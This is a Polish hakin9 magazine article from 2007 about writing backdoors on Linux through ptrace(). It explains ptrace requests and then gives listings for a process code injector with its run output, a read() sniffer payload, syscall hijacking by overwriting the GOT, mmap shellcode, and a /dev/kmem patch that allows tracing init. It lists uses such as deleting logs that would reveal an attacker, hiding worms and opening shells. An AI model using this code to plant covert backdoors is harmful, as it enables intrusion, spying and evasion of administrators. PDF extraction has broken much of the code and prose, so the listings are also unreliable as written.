wać śledzenie poprzez wywołanie

fork()

i nakazanie procesowi potom-

nemu wykonania

PTRACE _ TRACEME

, a

po nim (zazwyczaj)

exec

. Ewentual-

nie proces nadrzędny może zarzą-
dzić śledzenie istniejącego procesu
z użyciem

PTRACE _ ATTACH

Proces potomny, gdy jest śle-

dzony, zatrzyma się za każdym ra-
zem,  gdy  dostanie  sygnał,  nawet
jeśli  sygnał  ma  ustawione  ignoro-
wanie  (poza

SIGKILL

, który kończy

się zawsze tak samo). Proces nad-
rzędny  będzie  notyfikowany  w  na-
stępnym miejscu oczekiwania i mo-
że  przeglądać  i  modyfikować  pro-
ces  potomny,  gdy  ten  jest  zatrzy-
many. Proces nadrzędny następnie
każe  procesowi  potomnemu  kon-
tynuować  wykonanie,  opcjonalnie
ignorując  dostarczony  sygnał  (al-
bo nawet dostarczając mu inny sy-
gnał).

Gdy proces nadrzędny zakoń-

czy śledzenie, może przerwać pro-
ces potomny przez

PTRACE _ KILL

albo nakazać kontynuację wykony-
wania w normalnym, nie śledzonym
trybie, przez

PTRACE _ DETACH

. War-

tość podana jako „request ” okre-
śla akcję, jaka ma być podjęta:

PTRACE _ TRACEME

– oznacza, że ten

proces ma być śledzony przez pro-
ces nadrzędny. Każdy sygnał (po-
za

SIGKILL

) dostarczony do proce-

su  spowoduje  zatrzymanie,  a  pro-
ces  nadrzędny  będzie  notyfikowa-
ny  w

wait()

. Również każde na-

stępne wywołanie

exec

...

()

przez

ten proces spowoduje dostarczenie
SIGTRAP,  umożliwiając  procesowi
nadrzędnemu przejęcie kontroli za-
nim nowy program zacznie się wy-
konywać.  Proces  raczej  nie  powi-
nien wykonać takiego żądania, jeśli
proces nadrzędny nie oczekuje, że
będzie  go  śledzić  (pid,  addr  i  data
są  ignorowane).  To  powyższe  żą-
danie jest używane tylko przez pro-
ces potomny; pozostałe są używa-
ne  tylko  przez  proces  nadrzędny.
W pozostałych żądaniach pid okre-
śla proces potomny, na którym na-
leży działać. Dla żądań innych, niż

Listing 1.

Przykładowy ptrace()-owy wstrzykiwacz

#include

<stdio.h>

#include

<stdlib.h>

#include

<unistd.h>

#include

#include

#include

<signal.h>

#include

#include

#include

<errno.h>

#include

asm

(

"MY_BEGIN:

"call para_main

);

/* oznaczamy początek kodu pasożyta */

char

getstring

(

void

)

{

asm

(

"call me

"me:

"popl %eax

"addl $(MY_END - me), %eax

);

}

void

para_main

(

void

)

{

/* tu się zaczyna główny kod pasożyta
* wpisz co ci się podoba...
* to jest tylko przykład
*/

asm

(

"movl $1, %eax

"movl $31337, %ebx

"int $0x80

);

* wykonujemy exit(31337);
* tylko po to, żeby było to widać na strace...
*/

}

asm

(

"MY_END:"

);

/* tu kończy się zawartość pasożyta */

char

GetParasite

(

void

)

/* umieść pasożyta */

{

asm

(

"call me2

"me2:

"popl %eax

"subl $(me2 - MY_BEGIN), %eax

);

}

int

PARA_SIZE

(

void

)

{

asm

(

"movl $(MY_END-MY_BEGIN), %eax

);

/* weź rozmiar pasożyta */

}

int

main

(

int

argc

char

argv

[])

{

int

parasize

;

int

pid

;

char

inject

[

8000

];

struct

user_regs_struct

reg

;

printf

(

[Przykladowy wtryskiwacz ptrace]

);

(

argv

[

]

)

{

printf

(

"[usage: %s [pid] ]

\n\n

argv

[

]);

exit

(

);

}

pid

atoi

(

argv

[

]);

parasize

PARA_SIZE

();

/* liczymy rozmiar */

while

((

parasize

)

parasize

++;

/* tworzymy kod do wstrzyknięcia */

{

memset

inject

sizeof

(

inject

));

memcpy

(

inject

GetParasite

()

PARA_SIZE

());

(

ptrace

(

PTRACE_ATTACH

pid

)

/* podłącz się do procesu */

{

hakin9 Nr 1/2007

www.hakin9.org

Atak

PTRACE _ KILL

, proces potomny musi

być zatrzymany.

PTRACE _ PEEKTEXT

PTRACE _

PEEKDATA

– czyta słowo spod lo-

kacji addr w pamięci procesu po-
tomnego, zwracając je jako rezul-
tat

ptrace()

. Linux nie umieszcza

segmentu kodu i segmentu danych
w osobnych przestrzeniach adre-
sowych, więc te dwa wywołania są
aktualnie równoważne (argument

data jest ignorowany).

PTRACE _ PEEKUSR

– czyta sło-

wo spod przesunięcia addr w prze-
strzeni

USER

procesu potomnego,

który trzyma rejestry i inne informa-
cje o procesie (patrz

. Słowo jest zwracane

jako rezultat

ptrace()

. Zwykle prze-

sunięcie musi być wyrównane do
pełnego słowa, może się więc to róż-
nić na różnych architekturach (data
jest ignorowane).

PTRACE _ POKETEXT,

PTRACE _

POKEDATA

– kopiuje słowo spod „da-

ta” do lokacji addr w pamięci proce-
su. Jak wyżej, oba te wywołania są
równoważne.

PTRACE _ POKEUSR

– kopiuje słowo

z data pod przesunięcie addr w prze-
strzeni

USER

procesu potomnego. Jak

wyżej, przesunięcie musi być wyrów-
nane do pełnego słowa. W celu za-
pewnienia spójności jądra, niektóre
modyfikacje w obszarze

USER

są nie-

dozwolone.

PTRACE _ GETREGS

PTRACE _

GETFPREGS

– kopiuje odpowiednio re-

jestry  ogólnego  przeznaczenia  lub
rejestry  zmiennoprzecinkowe  pro-
cesu  potomnego  do  lokacji  data  w
procesie potomnym. Zobacz

<linux/

user.h>

w celu uzyskania informacji

na temat formatu tych danych (addr
jest ignorowane).

PTRACE _ SETREGS

PTRACE _

SETFPREGS

– kopiuje odpowiednio re-

jestry  ogólnego  przeznaczenia  lub
zmiennoprzecinkowe  z  lokacji  data
w  procesie  nadrzędnym.  Podobnie,
jak w

PTRACE _ POKEUSER

, modyfikacja

niektórych rejestrów ogólnego prze-
znaczenia może być niedozwolona
(addr jest ignorowany).

PTRACE _ CONT

– wznawia wyko-

nywanie zatrzymanego procesu
potomnego. Jeśli wartość data jest

Listing 1a.

Przykładowy ptrace()-owy wstrzykiwacz

Przetestujmy to na terminalu (A):

server

gcc

ptrace

server

1111

[

]

7314

server

~# ./

out

7314

[

Przykladowy

wtryskiwacz

ptrace

]

attached

proccess

7314

sending

stop

signal

proccess

stopped

calculating

parasite

injection

size

Parasite

0x400fa276

detach

finished

server

A teraz na terminalu (B), pokażemy strace-m proces Netcat:

gw1

strace

7314

Process

7314

attached

interrupt

quit

accept(3,

Wracamy na terminal A i podłączamy się pod zainfekowany proces

Netcat:

server

localhost

1111

localhost

[

127.0

0.1

]

1111

(

)

open

[

Exit

105

1111

server

Sprawd

teraz

napisa

strace

terminalu

(

{

sa_family

AF_INET

sin_port

htons

(

35261

)

sin_addr

inet_addr

(

"127.0.0.1"

)

}

[

])

_exit

(

31337

)

Process

7314

detached

server

Listing 1b.

Prosty wstrzykiwacz ptrace()

printf

(

"cant attach to pid %d: %s

pid

strerror

(

errno

));

exit

(

);

}

printf

(

"+ attached to proccess id: %d

pid

);

printf

(

"- sending stop signal..

);

kill

(

pid

SIGSTOP

);

/* zatrzymaj proces*/

waitpid

(

pid

NULL

WUNTRACED

);

printf

(

"+ proccess stopped.

);

ptrace

(

PTRACE_GETREGS

pid

reg

);

/* pobierz rejestry */

printf

(

"- calculating parasite injection size..

);

for

(

;

parasize

;

)

/* wrzuć kod pasożyta pod %eip */

{

int

;

memcpy

inject

);

ptrace

(

PTRACE_POKETEXT

pid

reg

eip

);

}

printf

(

"+ Parasite is at: 0x%x

reg

eip

);

printf

(

"- detach..

);

ptrace

(

PTRACE_CONT

pid

);

/* wznów proces potomny */

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

niezerowa i nie

SIGSTOP

, jest inter-

pretowana jako sygnał, który nale-
ży dostarczyć do procesu; w prze-
ciwnym  razie  nie  jest  dostarcza-
ny  żaden  sygnał.  W  ten  sposób,
na  przykład,  proces  potomny  mo-
że  kontrolować,  czy  sygnał  wysła-
ny  do  procesu  potomnego  był  do-
starczony,  czy  nie  (addr  jest  igno-
rowane).

PTRACE _ SYSCALL

PTRACE _ SINGLE

STEP

– wznawia wykonywanie zatrzy-

manego procesu potomnego, jak dla

PTRACE _ CONT

, ale zarządza, że pro-

ces potomny będzie zatrzymany od-
powiednio  przy  następnym  wejściu
lub  wyjściu  z  wywołania  systemo-
wego,  albo  wywołaniu  pojedynczej
instrukcji  (proces  potomny  zatrzy-
ma się też, jak zwykle, po otrzyma-
niu sygnału). Z punktu widzenia pro-
cesu  nadrzędnego,  proces  potom-
ny będzie wyglądał, jakby został za-
trzymany przez otrzymanie

SIGTRAP

Zatem P

TRACE _ SYSCALL

można użyć

w ten sposób, że sprawdzamy argu-
menty przesłane do wywołania sys-
temowego przy pierwszym wołaniu,
a następnie dokonujemy następne-
go

PTRACE _ SYSCALL

i sprawdzamy

wartość zwróconą przez wywołanie
systemowe w następnym zatrzyma-
niu (addr jest ignorowane).

PTRACE _ KILL

– wysyła

SIGKILL

procesowi potomnemu powodując
jego zakończenie (addr i data są
ignorowane).

PTRACE _ ATTACH

– dołącza się do

procesu podanego jako pid, powo-
dując  że  ten  proces  staje  się  śle-
dzonym  procesem  potomnym  dla
bieżącego  procesu,  czyli  tak,  jak-
by  ten  „potomny”  proces  wyko-
nał

PTRACE _ TRACEME

. Bieżący pro-

ces  staje  się  w  istocie  procesem
nadrzędnym  tego  potomnego  pro-
cesu  dla  niektórych  zastosowań
(np.  będzie  dostawał  notyfikacje
zdarzeń  procesu  potomnego  i  bę-
dzie widoczny w raporcie ps(1) ja-
ko  proces  nadrzędny  tego  proce-
su,  ale  getppid(2)  w  procesie  po-
tomnym  będzie  wciąż  zwracać  pid
oryginalnego  procesu  nadrzędne-
go. Proces potomny dostaje sygnał

SIGSTOP

, ale niekoniecznie zatrzy-

ma się na tym wywołaniu; należy

Listing 3.

Przykład sys_write

int

patched_syscall

(

int

char

data

int

size

)

{

// pobieramy wszystkie parametry ze stosu, deskryptor umieszczony
// pod 0x8(%esp), dane pod 0xc(%esp), a rozmiar pod 0x10(%esp)

asm

(

movl

eax

# oryginalne wywołanie systemowe

movl

0x8

esp

)

ebx

# fd

movl

0xc

esp

)

ecx

# dane

movl

0x10

esp

)

edx

# rozmiar

int

0x80

// po wywołaniu przerwania, wartość zwracana zostanie zapisana w %eax
// jeśli chcesz dodać kod za oryginalnym wywołaniem systemowym

// należy zapamiętać gdzie indziej %eax i przywrócić
na końcu

// nie wstawiaj instrukcji 'ret' na koniec!

)

Listing 2.

Rzut oka na tablicę GOT

[

root

hal

root

]

# objdump -R /usr/sbin/httpd |grep read

08086

b5c

R_386_GLOB_DAT

ap_server_post_read_config

08086

bd0

R_386_GLOB_DAT

ap_server_pre_read_config

08086

c0c

R_386_GLOB_DAT

ap_threads_per_child

080869

R_386_JUMP_SLOT

fread

08086

b24

R_386_JUMP_SLOT

readdir

08086

b30

R_386_JUMP_SLOT

read

<--

mamy

nasz

read

()

[

root

hal

root

]

Listing 4.

Kod z infektora Ii, znaleziony w internecie, do przydzielania

potrzebnej pamięci

void

infect_code

()

{

asm

(

xorl %eax,%eax
push %eax # offset = 0
pushl $-1 # no fd
push $0x22 # MAP_PRIVATE|MAP_ANONYMOUS
pushl $3 # PROT_READ|PROT_WRITE
push $0x55 # mmap() przydziela 1000 bajtów domyślnie, więc
# jeśli potrzeba więcej, oblicz potrzebny rozmiar.
pushl %eax # start addr = 0
movl %esp,%ebx
movb $45,%al
addl $45,%eax # mmap()
int $128
ret
"

);

}

Listing 1c.

Prosty wstrzykiwacz ptrace()

ptrace

(

PTRACE_DETACH

pid

);

/* odłącz się od procesu */

printf

(

"+ finished!

\n\n

);

exit

(

);

}

hakin9 Nr 1/2007

www.hakin9.org

Atak

użyć wait() w celu zaczekania, aż
proces potomy się zatrzyma (addr i
data są ignorowane).

PTRACE _ DETACH

– wznawia zatrzy-

many proces potomny, jak dla

PTRACE _

CONT

, ale uprzednio odłącza się od

procesu, cofając efekt zmiany rodzi-
ca wywołany przez

PTRACE _ ATTACH

efekt wywołania

PTRACE _ TRACEME

. Mi-

mo, że niekoniecznie o to może cho-
dzić,  pod  Linuksem  śledzony  proces
potomny  może  zostać  odłączony  w
ten  sposób,  niezależnie  od  metody
użytej do rozpoczęcia śledzenia (addr
jest ignorowany).

Dobrze, nie martw się, nie musisz
wszystkiego rozumieć już teraz. Po-
każę Ci niektóre zastosowania póź-
niej w tym artykule.

Praktyczne

zastosowania

wywołania ptrace()

Zwykle

ptrace()

jest stosowane do

śledzenia procesów w celach debu-
gowych. Może być całkiem poręcz-
ne. Programy strace i ltrace używa-
ją wywołań

ptrace()

do śledzenia

wykonujących się procesów. Jest
parę interesujących i użytecznych

programów na sieci i możesz po-
szukać Googlem jakichś progra-
mów w akcji.

Czym są pasożyty

Pasożyty  są  to  nie  replikowane  sa-
modzielnie  kody,  które  wstrzykuje
się  do  programów  przez  zainfeko-
wanie  ELF-a  lub  bezpośrednio  do
pamięci  procesu  w  czasie  jego  wy-
konywania,  przez

ptrace()

. Główna

różnica zasadza się tu na tym, że in-
fekcja

ptrace()

nie jest rezydentna,

podczas gdy infekcja ELF-a zaraża
plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu. Pasożyt wstrzyknięty przez

ptrace()

rezyduje tylko w pamięci,

zatem jeśli proces, na przykład, do-
stanie

SIGKILL

-a, pasożyt wyciągnie

nogi wraz z nim. Ponieważ

ptrace()

jest stosowany do wstrzykiwania ko-
du w trakcie wykonywania procesu,
zatem w oczywisty sposób nie bę-
dzie to kod rezydentny.

Klasyczne

wstrzyknięcie ptrace()

Ptrace()

potrafi obserwować i kon-

trolować wykonanie innego procesu.
Jest  również  władny  zmieniać  jego
rejestry.  Skoro  można  zatem  zmie-
niać rejestry innego procesu, jest to
nieco oczywiste, dlaczego może być
użyty  do  eksploitów.  Oto  przykład
starej  dziury

ptrace()

w starym ją-

drze Linuksa.

Jądra Linuxa przed 2.2.19 mia-

ły błąd pozwalający uzyskać lokal-
nie roota i większość ludzi używa-
jących tego jądra mogła jeszcze go
nie poprawić. W każdym razie ta
dziura wykorzystuje sytuację wyści-
gu w jądrze Linuksa 2.2.x wewnątrz
wywołania systemowego

execve()

Wstrzymując proces potomny
przez

sleep()

wewnątrz

execve()

atakujący może użyć

ptrace()

lub

podobnych mechanizmów do prze-
jęcia kontroli nad procesem potom-
nym. Jeśli proces potomny ma se-

tuid, atakujący może użyć procesu
potomnego do wykonania dowolne-
go kodu na podkręconych prawach.
Znanych  jest  też  kilka  innych  pro-
blemów  bezpieczeństwa  związa-
nych  z

ptrace()

w jądrze Linuxa

Rysunek 1.

Ściągnięcie i kompilacja wstrzykiwacza

Listing 5.

Przykład, czego potrzeba do funkcji infect_code()

ptrace

(

PTRACE_GETREGS

pid

reg

);

ptrace

(

PTRACE_GETREGS

pid

regb

);

reg

esp

;

ptrace

(

PTRACE_POKETEXT

pid

reg

esp

reg

eip

);

ptr

start

reg

esp

1024

;

reg

eip

(

long

)

start

;

ptrace

(

PTRACE_SETREGS

pid

reg

);

while

(

strlen

(

sh_code

))

{

ptrace

(

PTRACE_POKETEXT

pid

ptr

(

int

)

int

*)(

sh_code

));

;

ptr

;

}

printf

(

"trying to allocate memory

);

ptrace

(

PTRACE_SYSCALL

pid

);

ptrace

(

PTRACE_SYSCALL

pid

);

ptrace

(

PTRACE_SYSCALL

pid

);

ptrace

(

PTRACE_GETREGS

pid

reg

);

ptrace

(

PTRACE_SYSCALL

pid

);

printf

(

"new memory region mapped to..: 0x%.8lx

reg

eax

);

printf

(

"backing up registers...

);

ptrace

(

PTRACE_SETREGS

pid

regb

);

printf

(

"dynamical mapping complete!

pid

);

ptrace

(

PTRACE_DETACH

pid

);

return

reg

eax

;

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

przed  2.2.19  i  po,  które  oznaczo-
no  już  jako  rozwiązane,  ale  wielu
administratorów  nie  założyło  jesz-
cze  łat,  więc  te  błędy  mogą  wciąż
istnieć na wielu systemach. Podob-
ny problem istnieje w 2.4.x – sytu-
acja wyścigu w

kernel/kmod.c

, któ-

ry tworzy wątek jądra w sposób na-
rażający bezpieczeństwo.

Ten błąd pozwala

ptrace()

-ować

sklonowane procesy, przez co moż-
na  przejąć  kontrolę  nad  uprzywile-
jowanymi  binariami.  Załączam  kod
eksploita  na  tą  dziurę  jako  Proof

of Concept (patrz Listing 9). To był
drobny przykład, jak użyć

ptrace

()

do poszerzania uprawnień. A, no
cóż, myślę, że na razie mały przy-

kład  ze  wstrzykiwaniem,  i  wystar-
czy  jak  na  nasz  pierwszy  przykła-
dowy  kod.  Zatem,  oto  ten  przykład,
prosty

ptrace()

-owy wstrzykiwacz

(Listingi 1 i 2).

Jak widać, działa! Dobrze, wystar-

czy jak na tą część. To jest wstrzyki-
wanie przez

ptrace().

Przejdźmy te-

raz  do  bardziej  zaawansowanych
technik związanych z tą funkcją. W ra-
zie  wątpliwości,  możesz  przeczytać
ten  artykuł  jeszcze  raz  od  początku
i  pobawić  się  z  załączonym  przykła-
dem, po prostu w celu pełnego zrozu-
mienia, o co w tym chodzi, co jest wy-
magane w pozostałej części artykułu,
jeśli chcesz zrozumieć

ptrace()

Nadpisywanie

funkcji przez ptrace()

Ta  technika  jest  nieco  bardziej  za-
awansowana i takoż użyteczna – nad-
pisywanie funkcji za pomocą ptrace().
Na pierwszy rzut oka wygląda tak sa-
mo, jak wstrzykiwanie przez ptrace(),
ale faktycznie jest trochę inne. Zwykle
wstrzykujemy nasz kod powłokowy do
procesu. Wstawiamy to na stos i zmie-
niamy parę rejestrów. Jest to więc tro-
chę  ograniczone  i  jednorazowego
użytku. Jeśli jednak załatamy wywo-
łania systemowe w przestrzeni jądra,
będzie to jak zaimportowanie dzielo-
nej  funkcji,  która  wykonuje  te  same
akcje,  co  prawdziwe  wywołanie  sys-
temowe. Globalna Tablica Przesunięć
(GOT) podaje nam lokację wywołania
systemowego  w  pamięci,  gdzie  bę-
dzie to zamapowane po załadowaniu.
Najprościej można to odczytać przez

objdump, wystarczy wygrepować z te-
go relokację wywołania systemowe-
go. Rzućmy okiem na Listing 2.

Za każdym razem, gdy proces

chce wywołać

read()

, woła adres

POD  08086b30.  Pod  08086b30  jest
inny  adres,  który  wskazuje  na  fak-
tyczną read. Jeśli wpiszesz inny adres
pod 08086b30, następnym razem, jak
proces  zawoła

read()

, skoczy zupeł-

nie gdzie indziej. Jeśli zrobisz:

movl $0x08086b30, %eax
movl $0x41414141, (%eax)

to następnym razem, gdy zostanie za-
wołana

read()

, zainfekowany proces

Listing 7a.

Drobna funkcja pobierająca segment kodu docelowego

procesu

int

get_textsegment

(

int

pid

int

size

)

{

Elf32_Ehdr

ehdr

;

char

buf

[

128

];

FILE

input

;

int

;

snprintf

(

buf

sizeof

(

buf

)

"/proc/%d/exe"

pid

);

(!(

input

fopen

(

buf

"rb"

)))

return

);

(

fread

ehdr

sizeof

(

Elf32_Ehdr

)

input

)

Listing 6.

Przykład sniffera read()

define

LOGFILE

"/tmp/read.sniffed"

asm

(

"INJECT_PAYLOAD_BEGIN:"

);

int

Inject_read

(

int

char

data

int

size

)

{

asm

(

jmp DO
DONT:
popl %esi # pobierz adres pliku logowania
xorl %eax, %eax
movb $3, %al # wywołaj read()
movl 8(%esp), %ebx # ebx: fd
movl 12(%esp),%ecx # ecx: data
movl 16(%esp),%edx # edx: size
int $0x80
movl %eax, %edi # zachowaj wartość zwracaną przez funkcję w %edi
movl $5, %eax # wywolaj open()
movl %esi, %ebx # LOGFILE
movl $0x442, %ecx # O_CREAT|O_APPEND|O_WRONLY
movl $0x1ff, %edx # prawa dostępu 0777
int $0x80
movl %eax, %ebx # ebx: fd przez następne dwa wywołania
movl $4, %eax # write() zapis do logu
movl 12(%esp),%ecx # wskaźnik na dane
movl %edi, %edx # wartość zwrócona z read - ilość przeczytanych bajtów
int $0x80
movl $6, %eax # zgadnij :P
int $0x80
movl %edi, %eax # zwróć %edi
jmp DONE
DO:
call DONT
.ascii

LOGFILE

.byte 0x00
DONE:
"

);

}

asm

(

"INJECT_P_END:"

);

hakin9 Nr 1/2007

www.hakin9.org

Atak

naruszy segmentację na 0x41414141.
Uzbrojeni w tą wiedzę możemy pójść
krok dalej. Pomyślmy o możliwo-
ściach, jakie mamy. Ponieważ jeste-
śmy w stanie nadpisać dowolną funk-
cję w locie, możemy wstawiać różne
furtki do uruchomionych procesów.

Możemy całkowicie kontrolować

przepływ  wykonania  np.  daemona,
przejmować  wywołania  systemowe,
zmieniać  wartości  zwracane  lub  lo-
gować dane. Najpierw potrzebujemy
jednak pewnej przestrzeni na furtkę.
Mamy  ok.  240  bajtów  nieużywanej
przestrzeni pamięci pod 0x8048000.
Przestrzeń ta jest zajmowana przez
nagłówki ELF-a, które nie są używa-
ne  podczas  wykonywania.  Możesz
po prostu zmienić te dane i wrzucić
co  ci  się  podoba  do  tej  przestrzeni
i  nic  się  nie  stanie.  Zatem  zamiast
niszczyć  dane  przez  wstrzykiwanie
ładunku  pod

%eip

, możemy wrzucić

to właśnie tam, albo chociaż paso-
żyta inicjatywnego, który zaciągnie
później większego pasożyta.

Przejmowanie

wywołań systemowych

Segment .text zawiera nagłówki pro-
gramu  ELF  i  inne  informacje,  któ-
re  są  używane  tylko  do  inicjaliza-
cji.  Po  załadowaniu  procesu,  ten
nagłówek jest już nieużywany i mo-
żemy  bezpiecznie  go  nadpisać  na-
szym  kodem.  Do  pobrania  począt-
kowej pozycji tej sekcji trzeba spraw-
dzić

p _ vaddr

. Sekcja ta ma ustalony

rozmiar; wykonując proste obliczenia
mamy nasz wzór:

największy_możliwy_rozmiar
=sizeof(e_hdr)+sizeof(p_hdr)
*liczba_p_headerów

To  mało,  ale  wystarczy  na  nasz
schludny  kod  asemblera.  Przy  pod-
mienianiu  wywołania  systemowe-
go  powinniśmy  zachować  oryginal-
ne  wywołanie.  Naszą  implemen-
tację  powinniśmy  napisać  tak,  że-
by  zachowywała  się  jak  oryginał.
Poniżej  przedstawiona  jest  część
kodu,  która  nadpisze  wybrane  wy-
wołanie systemowe wybranego pro-
cesu.  Przykład  z

sys _ write

jest

pokazany na Listingu 3.

Listing 7b.

Drobna funkcja pobierająca segment kodu docelowego

procesu

goto

end

;

* czytamy nagłówek ELF + kilka kalkulacji
*/

size

sizeof

(

Elf32_Ehdr

)

ehdr

e_phnum

sizeof

(

Elf32_Phdr

);

(

fseek

(

input

ehdr

e_phoff

SEEK_SET

)

goto

end

;

for

(

;

ehdr

e_phnum

;

++)

{

Elf32_Phdr

phdr

;

(

fread

phdr

sizeof

(

Elf32_Phdr

)

input

)

goto

end

;

(

phdr

p_offset

)

{

fclose

(

input

);

return

phdr

p_vaddr

;

}

end

fclose

(

input

);

return

);

}

Teraz wywołanie naszej funkcji z main()

((

textseg

get_textsegment

(

pid

size

))

)

{

fprintf

(

stderr

"unable to locate pid %d

s text segment address (%s)

nie

odnaleziono

dla

pid

adresu

bufora

tekstowego

pid

strerror

(

errno

));

return

);

}

teraz musimy określić rozmiar kodu wstawianego,

* nie może on (dla bezpieczeństwa) przekroczyć 244 bajtów!
*/

(

inject_parasite_size

()

size

)

{

// validate the size

fprintf

(

stderr

"Twoj pasozyt jest zbyt duzy. Zoptymizuj go!"

);

return

);

}

/*
readgot jest funkcją, która zwróci nam globalny adres read() z tablicy

adresów.

objdump twoim przyjacielem, więc można napisać
funkcyjkę, która używa objdump by otrzymać GOT.
Jeśli jesteś leniwy, możesz dostarczyć GOT w argv[2] lub
zastosować inne rozwiązanie. Ten punkt pozostawiamy jako ćwiczenie
dla zainteresowanego użytkownika
*/

snprintf

(

buf

sizeof

(

buf

)

"/proc/%d/exe"

pid

);

((

readgot

got

(

buf

"read"

))

)

{

// grab read's GOT addy

fprintf

(

stderr

"Unable to extract read()

s GOT address

);

return

);

}

wstrzykniecie pasożyta do segmentu kodu

(

inject

(

pid

textseg

inject_parasite_size

()

inject_parasite_ptr

())

)

{

fprintf

(

stderr

" Wstrzykniecie nieudane! (%s)

strerror

(

errno

));

return

);

}

nadpisz globalny offset funkcji read w tablicy adresów

(

inject

(

pid

readgot

(

char

textseg

)

{

fprintf

(

stderr

" Nieudane wstrzykniecie rekordu GOT! (%s)

strerror

(

errno

));

return

);

}

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

Na szczęście nie musimy się

martwić  stosem  wywołań  i  zerami
w  kodzie;  nasze  podmienione  wy-
wołanie  systemowe  żyje  wewnątrz
procesu i znów, niestety, miejsce na
nasz  kod  jest  ograniczone.  Spójrz-
my  na  informacje,  jakie  mamy,  że-
by skonstruować nasz nadpisywacz
funkcji:

• sam proces i jego ID;
• funkcja, która ma być naszą furt-

ką;

• adres funkcji z Globalnej Tablicy

Przesunięć;

• adres segmentu .text;
• nasza implementacja funkcji furt-

kowej.

Przełamywanie

ograniczenia rozmiaru

Jak  powiedziałem,  nagłówki  ELF
zajmują  ok.  244  bajty  i  to  jest  za
mało  na  dużą  furtkę,  zatem  usiło-
wałem  wymyślić  sposób  na  zaim-
plementowanie  znacznie  większej
furtki.

Pierwszym pomysłem jest przy-

dział dynamicznej pamięci:

• wstaw na stos kod, który zama-

puje nowy obszar pamięci (za po-
mocą

mmap()

);

• pobierz wskaźnik do zamapowa-

nej pamięci;

• użyj

inject()

do wstawienia two-

jego kodu do pamięci przydzielo-
nej dynamicznie, ale zamiast ad-
resu segmentu .text użyj zama-
powanej pamięci.

sh_code = malloc(strlen((char*)
infect_code) +4);
strcpy(sh_code,(char *) infect_code);
reg.eax = infect_ptrace(pid);

Żeby zaalokować pamięć bez wyko-
nywania stosu, można lekko zmodyfi-
kować schemat:

• nadpisz pozycję segmentu .text

przez

infect _ code()

. Nie zapo-

mnij dodać oryginalne read.

• odwołaj się do oryginalnego

read()

, po czym zachowaj zwró-

coną wartość. Jeśli np. stawiasz
furtkę na Netcat, należy się

Listing 8a.

Łata na jądro umożliwiająca ptrace() na init

#define _GNU_SOURCE
#include

#include

#include

#include

<unistd.h>

#include

<string.h>

#include

<stdlib.h>

#include

<stdio.h>

#include

<fcntl.h>

int

kmem_fd

;

/* low level utility subroutines */

void

read_kmem

(

off_t

offset

void

buf

size_t

count

)

{

(

lseek

(

kmem_fd

offset

SEEK_SET

)

offset

)

{

perror

(

"lseek(kmem)"

);

exit

(

);

}

(

read

(

kmem_fd

buf

count

)

(

long

)

count

)

{

perror

(

"read(kmem)"

);

exit

(

);

}

void

write_kmem

(

off_t

offset

void

buf

size_t

count

)

{

(

lseek

(

kmem_fd

offset

SEEK_SET

)

offset

)

{

perror

(

"lseek(kmem)"

);

exit

(

);

}

(

write

(

kmem_fd

buf

count

)

(

long

)

count

)

{

perror

(

"write(kmem)"

);

exit

(

);

}

#define GCC_295 2
#define GCC_3XX 3
#define BUFSIZE 256

int

main

(

void

)

{

int

kmode

gcc_ver

;

int

idt

int80

sct

ptrace

;

char

buffer

[

BUFSIZE

]

;

(

kmem_fd

open

(

"/dev/kmem"

O_RDWR

)

{

dev_t

kmem_dev

makedev

(

);

perror

(

"open(/dev/kmem)"

);

(

mknod

(

"/tmp/kmem"

0600

S_IFCHR

kmem_dev

)

{

perror

(

"mknod(/tmp/kmem)"

);

return

(

);

}

(

kmem_fd

open

(

"/tmp/kmem"

O_RDWR

)

{

perror

(

"open(/tmp/kmem)"

);

return

(

);

}

unlink

(

"/tmp/kmem"

);

}

asm

(

"sidt %0"

"=m"

(

buffer

)

);

idt

int

*)(

buffer

);

hakin9 Nr 1/2007

www.hakin9.org

Atak

potem podłączyć do niego i wy-
słać jakieś dane, żeby wymusić
zawołanie podmienionego

read()

;

• następnym wywołaniem będzie

mmap()

, które przydzieli pamięć.

Pobierz wartość zwróconą i użyj
jej w

inject()

•

inject()

jest prostą funkcją wstrzy-

kiwania

ptrace()

. Mały przykład,

czego potrzeba do

infect _ code()

po podłączeniu się do procesu,
pokazano na Listingu 5.

Teraz możemy implementować furtki
niemal  nieograniczonego  rozmiaru,
możemy  zatem  wstrzykiwać  znacz-
nie  bardziej  zaawansowany  kod  do
procesu.

Co możemy

Co możemy zrobić uzbrojeni w tą
wiedzę? W sumie jest to to samo, co
standardowe nadpisywanie funkcji
(jeśli jesteś już z tym oswojony), tak
jak używaliśmy

ptrace()

do nadpisa-

nia i wstrzykiwania kodu. Popaprzmy
na parę podstawowych możliwości:

• zmiana wartości zwracanej, np.

udawane wiadomości z loga itp.;

• usuwanie plików (wiadomości z

loga), które mogłyby odkryć IP
atakującego itd.;

• ukrywanie plików, np. wirusów

i robaków, czy zaszyfrowanych
wiadomości w procesie;

• nasłuchiwanie (snifowanie) lub

logowanie komunikacji;

• uruchamianie powłoki do połą-

czenia lub łączenie się w drugą
stronę;

• przejmowanie sesji;
• zmienianie znaczników czasu lub

sum md5.

Jak widać, mamy do dyspozycji cały
wachlarz  metod  stawiania  furtek.  Co
ważne, możesz kontrolować całą ko-
munikację  procesu,  a  nawet  dokład-
nie cały przepływ wykonania. Możesz
dodawać nowe funkcje do niego, lub
usuwać  niektóre  (jak  funkcje  logują-
ce) i możesz też wstawiać niewidzial-
ne furtki. Admini zwykle ufają swoim

daemonom, więc jeśli zainfekujesz

named, jest duża szansa, że nikt tego
nie namierzy, jeśli nie otworzysz no-

Listing 8b.

Łata na jądro umożliwiająca ptrace() na init

/* get system_call() address */

read_kmem

(

idt

(

0x80

)

buffer

);

int80

(

unsigned

short

*)(

buffer

)

unsigned

short

*)(

buffer

);

/* get system_call_table address */

read_kmem

(

int80

buffer

BUFSIZE

);

(

memmem

(

buffer

BUFSIZE

85"

)

{

fprintf

(

stderr

"fatal: can't locate sys_call_table

);

return

(

);

}

sct

int

*)(

);

printf

(

" . sct @ 0x%08X

sct

);

/* get sys_ptrace() address and patch it */

read_kmem

(

off_t

)

(

buffer

syscall

)

buffer

);

read_kmem

(

sct

__NR_ptrace

(

void

ptrace

);

read_kmem

(

ptrace

buffer

BUFSIZE

);

(

memmem

(

buffer

BUFSIZE

10"

